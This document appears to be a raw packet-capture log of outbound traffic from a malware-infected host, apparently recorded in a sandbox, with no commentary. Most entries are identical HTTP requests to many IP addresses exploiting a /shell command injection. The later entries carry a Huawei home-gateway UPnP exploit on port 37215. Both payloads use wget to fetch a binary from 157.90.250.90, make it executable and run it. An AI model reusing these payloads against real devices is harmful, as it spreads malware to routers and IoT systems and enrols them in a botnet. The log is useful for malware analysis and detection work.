Dec 3, 2024 22:11:48.008778095 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.23	47296	60.49.222.42	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:48.009345055 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.23	42484	144.30.94.29	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:48.080291033 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.23	54236	160.247.51.9	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:48.081201077 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.23	42346	54.224.48.72	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:48.081799984 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.23	43048	77.9.102.153	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:48.082412004 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.23	60248	217.26.115.252	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:48.083039045 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.23	51872	217.229.54.255	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:48.083671093 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.23	60630	170.111.11.90	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:48.084300995 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.23	58948	188.239.8.166	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:48.084983110 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.23	56886	180.14.36.140	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:48.092262030 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.23	38370	158.241.3.93	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:48.099740982 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.23	34558	59.75.42.59	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:48.123883963 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.23	46362	14.141.3.196	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:48.124582052 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.23	53186	166.46.184.48	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:48.969336987 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.23	36434	112.17.46.206	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:48.970185995 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.23	43644	60.191.15.52	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:48.970957994 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.23	53302	138.253.99.143	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:48.999536991 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.23	34944	2.92.50.4	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:49.000272036 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.23	38304	39.59.187.16	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:49.031625986 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.23	49726	154.225.38.211	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:49.032296896 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.23	46704	49.62.38.109	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:49.151930094 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.23	52702	58.54.216.137	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:49.240206957 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.23	53606	150.209.61.21	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:49.241091967 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.23	52218	85.100.167.15	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:49.241750956 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.23	41196	204.184.249.105	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:49.242383003 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.23	48880	191.220.213.75	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:49.243022919 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.23	47048	8.159.135.62	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:49.243704081 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.23	58500	197.25.239.17	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:50.034607887 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.23	51360	156.66.88.100	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:50.122791052 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.23	36934	197.3.39.188	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:50.123678923 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.23	47296	156.143.18.45	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:50.124371052 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.23	34128	156.107.59.192	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:50.125065088 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.23	48498	156.100.189.237	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:50.125785112 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable 